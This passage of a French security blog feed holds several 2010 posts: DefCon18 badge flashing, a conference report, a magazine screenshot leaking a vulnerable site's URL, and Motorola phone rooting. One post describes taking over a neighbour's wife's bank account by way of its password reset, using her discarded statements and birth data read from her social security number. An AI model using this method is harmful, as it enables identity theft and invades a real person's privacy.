&lt;li&gt;[APKSIGN] [&lt;a class="reference external" href="http://www.androiddevelopment.org/2009/01/19/signing-an-android-application-for-real-life-mobile-device-usage-installation/-"&gt;http://www.androiddevelopment.org/2009/01/19/signing-an-android-application-for-real-life-mobile-device-usage-installation/-&lt;/a&gt;&amp;gt;http://www.androiddevelopment.org/2009/01/19/signing-an-android-application-for-real-life-mobile-device-usage-installation/]&lt;/li&gt;
&lt;/ul&gt;
</content><category term="Sécu"/><category term="désassemblage"/><category term="android"/><category term="patching"/></entry><entry><title>Problème de voisinage</title><link href="https://virtualabs.fr/secu/Probleme-de-voisinage" rel="alternate"/><published>2010-09-24T00:38:25+02:00</published><updated>2010-09-24T00:38:25+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-09-24:/secu/Probleme-de-voisinage</id><summary type="html">&lt;p&gt;&lt;strong&gt;Un de mes voisins, que je n'appréciais guère, a eu la bonne idée de déménager, ce que je ne pouvais que saluer. Seulement voilà, le tri par le vide est une bonne initiative mais reste néanmoins une méthode très sommaire, qui peut aboutir à des fuites d'information. Et ces fuites …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Un de mes voisins, que je n'appréciais guère, a eu la bonne idée de déménager, ce que je ne pouvais que saluer. Seulement voilà, le tri par le vide est une bonne initiative mais reste néanmoins une méthode très sommaire, qui peut aboutir à des fuites d'information. Et ces fuites d'information peuvent elles-même amener quelqu'un de mal intentionné à des endroits où il n'aurait pas dû être.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un de mes voisins a déménagé. Sur un coup de tête. Je dois avouer que sur le coup, ça m'a soulagé (pour un certain nombre de raisons qui me regarde). Les problèmes de voisinage sont fréquents, mais celui-ci battait non seulement sa femme, mais faisait un boucan de tous les diables à pas d'heure, m'empêchant de dormir (quoi ? ça m'arrive, si si). Bref, il avait aussi pris une sale habitude: jeter ses poubelles dans MA poubelle, pour éviter de sortir la sienne, ce qui avait pour habitude de m'énerver doucement. Mais lorsqu'il fut parti, il me laissa en cadeau dans ma poubelle plusieurs sacs bien remplis, contenant tout plein de choses diverses et variées, et j'ai de suite entrevu sur le dessus d'un sac un amas de papiers. Intrigué, je regarde ces papiers, et repère en vrac: fiche de paie, relevés EDF et bancaires, bref, une vraie mine d'or pour qui sait chercher.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plongée en apnée dans les méandres d'une poubelle de quartier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai donc récupéré (à des fins non malveillantes, je tiens à le préciser) quelques-un de ces précieux documents, en me promettant de les étudier plus en détail par la suite. Malheureusement, mon planning étant ce qu'il est, je n'ai pas pu vraiment faire de recherche avant ce soir. Et elles ont été rapides et fructueuses. Le premier document récupéré, une fiche de paie, appartient à sa femme (très peu bavarde au demeurant), et je peux y trouver des informations diverses telles que le détail de la paie, le nom et le prénom de sa femme, ainsi que son numéro de sécurité sociale. Rien de bien transcendant, mais je garde ces infos sous le coude. J'entame une recherche rapide sur Internet, ciblant cette personne en particulier, mais rien ne ressort. Idem pour le mari. Qu'à cela ne tienne, je continue.&lt;/p&gt;
&lt;img alt="Relevé EDF" src="/images/edf_releve.jpg" /&gt;
&lt;p&gt;Document suivant, le relevé de compteur EDF. EDF a mis en place depuis quelques années un espace client en ligne, qui nécessite pour s'authentifier de posséder la référence client. Je décidais donc de vérifier si mon voisin avait pris le temps de se créer un espace client, et si oui de voir si quelqu'un de malintentionné pouvait y avoir accès. Je me suis donc connecté au système d'EDF, en prenant bien sûr quelques précautions, et j'ai essayé de créer un nouvel espace client à partir du numéro de référence client, sans succès car celui-ci est déjà employé dans un autre espace client. Autrement dit, un compte a déjà été créé et rattaché à cette référence client, peine perdue donc.&lt;/p&gt;
&lt;img alt="Identifiant de connexion présent sur la facture" src="/images/banquepostid.jpg" /&gt;
&lt;p&gt;Je regarde donc le troisième et dernier document dont je dispose, un relevé de la banque postale au nom de sa femme (livret A). Le numéro de compte y est inscrit, ainsi que son identifiant pour accéder à ses comptes via Internet. Je me dis qu'il y a peut-être moyen de creuser de ce côté là, la suite prouva que j'avais visé juste.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sesame dustbin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En me connectant sur le site de la banque postale, je choisis d'accéder au compte, et clique sur le lien &amp;quot;mot de passe perdu&amp;quot;, afin de repérer les informations nécessaires à la remise à zéro du mot de passe. Au programme:
- identifiant d'accès
- date de naissance
- 6 premiers chiffres du numéro d'un compte
Je possède l'identifiant, ainsi que les 6 premiers chiffres du numéro de compte, car ceux-ci sont indiqués sur le relevé bancaire. Il ne me reste qu'à deviner la date de naissance. C'est là que le numéro de sécurité sociale va bien aider: en effet, celui-ci contient l'année et le mois de naissance de l'assuré !&lt;/p&gt;
&lt;img alt="Numéro de sécurité sociale" src="/images/numsecu.jpg" /&gt;
&lt;p&gt;Pour être plus précis, il est constitué d'une série de valeurs numériques de la forme SAAMMDDCCCNNNXXXKK, dont chaque groupe a une signification (&lt;a class="reference external" href="http://fr.wikipedia.org/wiki/Num%C3%A9ro_de_s%C3%A9curit%C3%A9_sociale_en_France"&gt;cf. Wikipedia&lt;/a&gt;). En l'occurence, je peux donc déduire de ce numéro que la femme de mon voisin est née en mai 1985, hors de france. Il ne me reste plus qu'à identifier le jour, ce qui n'est pas trop dur à tester au cas par cas (31 possibilités). De cette façon, une personne mal intentionnée est en mesure de prendre le contrôle de ce compte, bien que les actions réalisables à partir de ce compte soient limitées (merci La Banque Postale).&lt;/p&gt;
&lt;img alt="Page de récupération de mot de passe" src="/images/banqueowned.png" /&gt;
&lt;p&gt;&lt;strong&gt;Mot de la fin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Evidemment, pour des raisons d'éthique et de morale, je n'ai pas compromis le compte bancaire de la dame; mais il est cependant très facile, avec le peu d'informations disponibles, de récupérer un accès complet et pourquoi pas d'essayer de virer des fonds. De plus, avec les quelques papiers retrouvés, d'autres scénarii d'attaques pourraient fonctionner, notamment auprès de l'administration française, ou de banques. Bref, si vous déménagez, pensez à conserver précieusemment ces papiers (pour rappel, les fiches de paie douvent être conservées à vie).&lt;/p&gt;
</content><category term="Sécu"/><category term="bruteforce"/><category term="dumpster diving"/><category term="trashing"/></entry><entry><title>DefCon18 badges review</title><link href="https://virtualabs.fr/geekeries/DefCon18-badges-review" rel="alternate"/><published>2010-09-07T22:17:23+02:00</published><updated>2010-09-07T22:17:23+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-09-07:/geekeries/DefCon18-badges-review</id><summary type="html">&lt;p&gt;Last july stood the DefCon18 at Las Vegas and I was lucky enough to be there with three friends of mine. As we registered to this event (140 bucks), we got some stickers and a DefCon18 CD and a nice shiny badge which is in fact a real circuit board …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last july stood the DefCon18 at Las Vegas and I was lucky enough to be there with three friends of mine. As we registered to this event (140 bucks), we got some stickers and a DefCon18 CD and a nice shiny badge which is in fact a real circuit board with a mini-usb port, some leds and a cool LCD display. I was asking myself if there were a way to hack this little badge in order to make it display everything we want to, but I spent my time reversing the firmware source code to unlock the Ninja Party feature of this badge (I coded a short python keygen by the way).
Anyway, I went to the Hardware Hacking Village (HHV) located in the sky boxes (near the Lockpicking Village) and met a lot of hardware hackers trying to hack some robots and other cool stuff. I asked a goon if he had any idea about how to flash the DefCon18 badge but he couldn't help, so I decided to figure it out by myself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Joe Grand's PDF&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I took my DefCon CD and decided to make a deep search in the dedicated DefCon18 badge folder it contains, and found a PDF about DefCon electronic badges designed by Joe Grand. This PDF contains all the necessary stuff to flash the badge, but some tricks were missing. I tried it the way it was explained, but I did not succeed. After many long minutes and a very grateful help from a dude, I eventually found the way to do this.&lt;/p&gt;
&lt;p&gt;Before flashing this little toy, let's have a look at it:&lt;/p&gt;
&lt;img alt="" src="/images/BadgeClassic.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Follow the guide&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First of all, you need an USB to mini-usb adapter, in order to connect to the badge. You also need the correct drivers and install them on your computer. I found the correct drivers on the Internet but you are lucky, I put the installer right after this post. Oh, and remove the battery from the badge and be careful, many badges were broken at the HHV by some people who did not handle it with enough care.&lt;/p&gt;
&lt;p&gt;Before connecting the badge to the USB port, press the two buttons of the badge simultaneously, and hold them while plugging the USB cable into your computer. If you did everything correctly, the badge would look like this:&lt;/p&gt;
&lt;img alt="" src="/images/2010-09-07_20-33-01.jpg" /&gt;
&lt;p&gt;Run an hyperterminal, and create a new connection on the newly appeared COMXX (the virtual COM port associated with the USB cable connected to the DefCon badge). If no COM port is visible you may have done something wrong. Configure the connection (9600 bps, 8 bits, parity:null, stop bits: 1,  stream control: Xon/Xoff) and then click OK. Your connection is configured and now active. And now is the great moment, we are going to send the original firmware into the badge, and reset it. When I first try to send the firmware, I was doing it wrong because I was trying to send the firmware as a binary data, but in fact it is only text (great thanks to the dude who helped me on this), and all you have to do is only click the &amp;quot;Send Text File&amp;quot; submenu in the &amp;quot;Transfer&amp;quot; Menu and then select the firmware according to Joe Grand's PDF and click OK.&lt;/p&gt;
&lt;p&gt;BUT (because there's always a but) the first try generally fails and you have to do it again and wait 30~ seconds to see the badge LEDs blinking. Once it's done, the badge would reset itself and launch the new firmware. I found a way to fix this up: if you save your connection and reload it from the hyperterminal, it would be ok the next time (no wait) and it would send it correctly on the first try.&lt;/p&gt;
&lt;p&gt;I made a little screen cast as a reminder for many of you bored to read a long paragraph of extremely annoying phrases.&lt;/p&gt;
&lt;p&gt;&amp;lt;object id=&amp;quot;scPlayer&amp;quot; class=&amp;quot;embeddedObject&amp;quot; width=&amp;quot;635&amp;quot; height=&amp;quot;675&amp;quot; type=&amp;quot;application/x-shockwave-flash&amp;quot; data=&amp;quot;&lt;a class="reference external" href="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf"&gt;http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf&lt;/a&gt;&amp;quot; &amp;gt;  &amp;lt;param name=&amp;quot;movie&amp;quot; value=&amp;quot;&lt;a class="reference external" href="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf"&gt;http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf&lt;/a&gt;&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;quality&amp;quot; value=&amp;quot;high&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;bgcolor&amp;quot; value=&amp;quot;#FFFFFF&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;flashVars&amp;quot; value=&amp;quot;thumb=http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/FirstFrame.jpg&amp;amp;containerwidth=635&amp;amp;containerheight=675&amp;amp;content=http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/Flashing_DefCon18_Badge.swf&amp;amp;blurover=false&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;allowFullScreen&amp;quot; value=&amp;quot;true&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;scale&amp;quot; value=&amp;quot;showall&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;allowScriptAccess&amp;quot; value=&amp;quot;always&amp;quot; /&amp;gt;  &amp;lt;param name=&amp;quot;base&amp;quot; value=&amp;quot;&lt;a class="reference external" href="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/"&gt;http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/&lt;/a&gt;&amp;quot; /&amp;gt; &amp;lt;/object&amp;gt;&lt;/p&gt;
&lt;p&gt;(And yes it is all in french, but f*ck ya :)&lt;/p&gt;
&lt;p&gt;All the necessary materials are provided at the end of this post (badge drivers, my custom firmware and Joe Grand's original firmware).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DefCon18 Ninja Badge&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I managed to get one of those marvelous electronic geeky toys from the 650 released at the DefCon (well, I'm not going to give any deeper details about the way I got it, but say I just grabbed some juicy informations from an uncommon person present at this DefCon18 and submitted them to the Wall of Sheep crew ;), and here are some extra pictures of this ninja badge !&lt;/p&gt;
&lt;p&gt;When caming back from vegas, I was thinking about how to flash this one, but it is not very easy and there is no goon in France able to explain me how to do this (and maybe I'm not a pure hardware hacker too). Nevermind, I'll try to do it later.&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;&amp;lt;embed type=&amp;quot;application/x-shockwave-flash&amp;quot; src=&amp;quot;&lt;a class="reference external" href="http://picasaweb.google.com/s/c/bin/slideshow.swf"&gt;http://picasaweb.google.com/s/c/bin/slideshow.swf&lt;/a&gt;&amp;quot; width=&amp;quot;400&amp;quot; height=&amp;quot;267&amp;quot; flashvars=&amp;quot;host=picasaweb.google.com&amp;amp;hl=fr&amp;amp;feat=flashalbum&amp;amp;RGB=0x000000&amp;amp;feed=http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fvirtualabs%2Falbumid%2F5514264346484685761%3Falt%3Drss%26kind%3Dphoto%26authkey%3DGv1sRgCIe9rYG-hs2hXg%26hl%3Dfr&amp;quot; pluginspage=&amp;quot;&lt;a class="reference external" href="http://www.macromedia.com/go/getflashplayer"&gt;http://www.macromedia.com/go/getflashplayer&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/center&amp;gt;&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Semi compte rendu de la DefCon18</title><link href="https://virtualabs.fr/secu/Semi-compte-rendu-de-la-DefCon18" rel="alternate"/><published>2010-07-31T12:12:00+02:00</published><updated>2010-07-31T12:12:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-07-31:/secu/Semi-compte-rendu-de-la-DefCon18</id><summary type="html">&lt;p&gt;Cette année, je suis à la DefCon qui se déroule à Las Vegas au Riviera Casino &amp;amp; Hotel. Et je dois dire que j'étais loin de m'imaginer que ça ressemblait à CA ! Sérieusement, c'est un des meilleurs évènements auquel j'ai pu participer (en tant que visiteur), et c'est tellement grand, énorme …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cette année, je suis à la DefCon qui se déroule à Las Vegas au Riviera Casino &amp;amp; Hotel. Et je dois dire que j'étais loin de m'imaginer que ça ressemblait à CA ! Sérieusement, c'est un des meilleurs évènements auquel j'ai pu participer (en tant que visiteur), et c'est tellement grand, énorme, vaste et peuplé (il y a énormément de fiiiiiiilles, de geekettes, et autres femelles en tout genre, c'est dément) que l'on ne peut pas tout voir durant la DefCon.&lt;/p&gt;
&lt;img alt="" src="/images/riviera.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Inscription et première surprise&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors de l'inscription (au &amp;quot;Registration Desk&amp;quot;), nous nous sommes vu remettre un CD, ainsi qu'un badge électronique, et tout un ensemble de stickers accompagnés d'un livret avec toutes les confs et leur description.
Quand je parle de badge électronique, je parle bien sûr d'un gadget conçu sur mesure pour la defcon, qui affiche sur un petit écran LCD le logo DEFCON, et qui contient en plus un challenge: débloquer la &amp;quot;Ninja Party&amp;quot;.&lt;/p&gt;
&lt;img alt="" src="/images/badge_defcon.jpg" /&gt;
&lt;p&gt;Je me suis donc penché sur ce Challenge dès mon arrivée (après avoir fait un pur beer contest avec trois australiens et d'autres personnes -- dont deux suisses vus à Insomni'hack, et bon, on en a couché certains entre temps), et j'ai pu reverser le code du firmware assez rapidement en début d'après-midi (après avoir dormi), à l'aide du code source fourni sur le CD. Car oui, l'intégralité du badge (code source du firmware, schémas électroniques et de principe) est opensource !
J'ai réussi à créer un petit générateur pour débloquer l'accès à la Ninja Party, mais il s'avèra que c'est beaucoup plus compliqué pour y accéder...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contests &amp;amp; villages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La DefCon18 abrite tout un ensemble de contests, et pas seulement le CTF: beer contest, badge hacking contest, hacker's jeopardy, et pleins d'autres... C'est tout simplement énorme ! De plus, deux villages sont présents, l'un dédié au hardware hacking, et l'autre au lockpicking.
Personnellement, j'ai préféré celui sur le hardware hacking, y ayant passé une matinée complète à tenter de reflasher le badge avec un firmware customisé. Ca a été un peu galère, mais c'est désormais chose faite: j'ai mon badge DefCon18 avec un firmware custom (qui intègre une console de debug USB maison,  quelques graphiques personnalisés, et surtout un petit jeu de lumière qui le différencie des autres badges. Un sacré souvenir en somme ! De plus, cela m'a permis de faire la connaissance de hackers spécialisés dans le hardware, et de donner un coup de patte à ceux qui n'arrivaient pas à flasher leur badge (il faut avouer que c'est plutôt hardcore, mais une fois la procédure en main ça se fait tout seul.&lt;/p&gt;
&lt;img alt="" src="/images/badge_virtu.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;CTF &amp;amp; oCTF&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mais le CTF me direz-vous ? Et bien il est toujours en cours. J'ai pu rencontrer l'équipe des routards, arrivée hier sur place, et on a discuter tranquillement. Il s'avère tout de même que le CTF de la DefCon18 subit certains désagréments dus à la logistique (en partie), ce qui a tendance à faire raler les participants. Mais bon, aux dernières nouvelles les routards étaient à mi-chemin, à la 4eme position.&lt;/p&gt;
&lt;img alt="" src="/images/routards_ctf.jpg" /&gt;
&lt;p&gt;Un OpenCTF est aussi présent, et je pense qu'on va s'y mettre ce soir, avec un bon paquet de bières et un peu de motivation (cela fait 2 jours qu'on est complètement déphasé ...). Je vous ferai un petit compte rendu, certainement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La DefCon est vraiment une manifestation originale et différente de ce que l'on fait en Europe. Peut-être les hackerspaces se rapprochent le plus de cette vision, mais le hacking est ici un art et un mode de vie. Je ne compte même plus le nombre de cyberpunks que j'ai pu croiser, des personnes à l'allure très anormale mais qui pourtant font des trucs de fou. On est vraiment à la ramasse là dessus, nous, européens. Mais bon, on donne aussi dans le social en discutant avec plein de gens venant d'horizons très divers, et ça n'a pas de prix (pour le reste, vous avez Eurocard/Mastercard, mais on vous ne l'a fait plus je suppose). Vous savez ce qu'il vous reste à faire ....&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Le fail du mois, par le magazine Capital !</title><link href="https://virtualabs.fr/secu/Le-fail-du-mois-par-le-magazine" rel="alternate"/><published>2010-07-26T13:52:13+02:00</published><updated>2010-07-26T13:52:13+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-07-26:/secu/Le-fail-du-mois-par-le-magazine</id><summary type="html">&lt;p&gt;Ayant reçu le dernier exemplaire du magazine Capital, et ayant trouvé le temps de le lire (ce qui, il faut l'avouer, est relativement exceptionnel), je suis tombé sur un petit article tout meugnon intitulé &amp;quot;Alerte! Ce logiciel iranien pille nos sites internet&amp;quot;. Titre alarmiste, qui de fait a attiré mon …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ayant reçu le dernier exemplaire du magazine Capital, et ayant trouvé le temps de le lire (ce qui, il faut l'avouer, est relativement exceptionnel), je suis tombé sur un petit article tout meugnon intitulé &amp;quot;Alerte! Ce logiciel iranien pille nos sites internet&amp;quot;. Titre alarmiste, qui de fait a attiré mon attention (et je dois avouer que le méchant pirate qui tient le laptop sur la première page fait son effet).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un étrange screenshot ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce qui a attiré mon attention, c'est l'écran du laptop (qui doit être un insert réalisé grâce à un logiciel de retouche -- BP was there) qui affiche l'interface de ce logiciel-dont-on-ne-connait-pas-le-nom (EDIT: Havij, trouvé grâce à notre ami Google avec une recherche de 3 mots) car Capital ne veut pas le donner: “Désolé pour les pirates en herbe, on ne vous donnera pas le nom de ce logiciel”.&lt;/p&gt;
&lt;blockquote&gt;
&lt;img alt="" src="/images/CapitalFail029.jpg" /&gt;
&lt;/blockquote&gt;
&lt;p&gt;Mais si on regarde attentivement cette interface, on peut y voir une zone réservée aux logs du logiciel. Si l'URL présente dans le champ &amp;quot;target&amp;quot; a bien été modifiée, celle présente dans les logs est quant à elle bien réelle et différente de celle-ci:&lt;/p&gt;
&lt;img alt="" src="/images/CapitalFailZoom.jpg" /&gt;
&lt;p&gt;Et là, c'est le drame ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.. et l'URL d'un site vulnérable&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'URL présente dans les logs correspond bien à un site existant, et qui plus est vulnérable !&lt;/p&gt;
&lt;img alt="" src="/images/PETvuln.png" /&gt;
&lt;p&gt;D'ailleurs, le log donne toutes les informations nécessaires: serveur MySQL version 5.X, injection SQL dans un champ entier, etc ...
De même, il fournit aussi la database par défaut ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Travail mâché, des deux côtés&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Autant le début de l'article commence bien, en voulant préserver le nom du logiciel employé, autant la photo affichée donne tous les éléments utiles à des pirates en herbe pour pirater le site de Paris Event Ticket, clefs en main... La faute aux iraniens ?&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Motorola Cliq: pourquoi ne pas le rooter ?</title><link href="https://virtualabs.fr/geekeries/Motorola-Cliq-pourquoi-ne-pas-le" rel="alternate"/><published>2010-07-21T10:54:22+02:00</published><updated>2010-07-21T10:54:22+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-07-21:/geekeries/Motorola-Cliq-pourquoi-ne-pas-le</id><summary type="html">&lt;p&gt;Heureux possesseur d'un Motorola Cliq (Dext) sous Android 1.5, j'eus le courage de tenter le rootage de l'engin. Pour les novices, le rootage d'un téléphone sous android consiste à prendre le contrôle complet du téléphone et installer une version &amp;quot;libre&amp;quot; d'android 2.1 par exemple.
Le processus permettant de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Heureux possesseur d'un Motorola Cliq (Dext) sous Android 1.5, j'eus le courage de tenter le rootage de l'engin. Pour les novices, le rootage d'un téléphone sous android consiste à prendre le contrôle complet du téléphone et installer une version &amp;quot;libre&amp;quot; d'android 2.1 par exemple.
Le processus permettant de faire cela a été détaillé récemment sur Internet pour ce modèle de smartphone, &lt;a class="reference external" href="http://www.techhackz.com/2009/12/how-to-root-your-motorola-cliq-and.html"&gt;ici&lt;/a&gt; et &lt;a class="reference external" href="http://modmymobile.com/forums/399-motorola-cliq-dext/526469-root-rom-dudes-root-shx-custom-rom-cliq-dext-v0-4-1-12-26-2009-a.html"&gt;là&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Custom Rom&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors de l'opération, il est conseillé d'installer une ROM personnalisée par l'équipe de TheDudes, compatible avec le firmware Motorola pour Orange. J'ai donc installé cette ROM, et rebooté dessus. Je dois avouer qu'à ce moment, tout s'est déroulé impeccablement, la custom ROM s'est lancée, mais le clavier s'est retrouvé en QWERTY. Une petite bidouille existe toutefois pour le remettre en AZERTY, citée notamment &lt;a class="reference external" href="http://modmymobile.com/forums/399-motorola-cliq-dext/527679-returning-azerty-after-rooting-dext.html"&gt;ici&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Et là, je me suis dit que j'allais pouvoir profiter pleinement de mon phone rooté. Ou pas. La ROM de The Dudes est basée sur une version 1.1.36 du firmware, et n'est donc pas considérée comme étant à jour par le phone, celui-ci propose donc en tout état de cause une upgrade. Et c'est là que ça se gâte ...&lt;/p&gt;
&lt;p&gt;** Bootloader &amp;amp; Upgrade **&lt;/p&gt;
&lt;p&gt;Je télécharge donc l'upgrade, et je passe par le bootloader flashé pour lancer le fichier zip ... et là c'est le drame, j'obtiens un message me disant que la signature de l'upgrade n'est pas correcte. WTF ?!&lt;/p&gt;
&lt;p&gt;Me disant que c'était pas grave, je reboot le téléphone, celui-ci détecte la mise à jour, me propose de l'installer, et cela toutes les 5 minutes ... Le téléphone est donc devenu inutilisable. La seule solution à envisager, reflasher avec une version originale du firmware.&lt;/p&gt;
&lt;p&gt;** Reinstall **&lt;/p&gt;
&lt;p&gt;J'ai un peu galéré à trouver une technique de contournement pour faire passer la signature, et j'ai finalement trouvé la solution au fin fond d'un forum: il faut re-signer l'archive zip en utilisant un outil développé par des moddeurs.
J'ai donc repris la version officielle directement du site de Motorola (la version 1.3.20) et je l'ai signée avec l'outil en question. Et là miracle, l'installation se déroule correctement.&lt;/p&gt;
&lt;p&gt;Cependant, j'ai pu observer plusieurs conséquences:
- le bootloader flashé lors de la phase de rootage est réécrasé par celui de Motorola
- perte complète des données (mais MotoBlur aide à récupérer ses contacts, ça c'est un point positif)&lt;/p&gt;
&lt;p&gt;** Mot de la fin **&lt;/p&gt;
&lt;p&gt;Il existe une seule ROM custom sous android 2.1 pour le Motorola Cliq, que l'on pourrait envisager d'installer, cependant celle-ci n'est qu'en version alpha (Eclair2Cliq), et n'est désormais plus supportée par ses développeurs. Ceux-ci attendent sagement la release de la version officielle sous android 2.1, attendue pour on ne sait quand en europe (alors que les US ont une date de prévue, d'ailleurs peut-être déjà passée). De plus, la version alpha est loin d'être pleinement fonctionnelle, donc à éviter.&lt;/p&gt;
&lt;p&gt;Je joins à ce post l'upgrade de la version 1.3.20 avec la signature falsifiée, en espérant que ça puisse servir aux personnes bloquées par cette manip.&lt;/p&gt;
&lt;img alt="Upgrade Motorola Cliq v1.3.20" src="/images/update-signed.zip" /&gt;
</content><category term="Geekeries"/></entry></feed>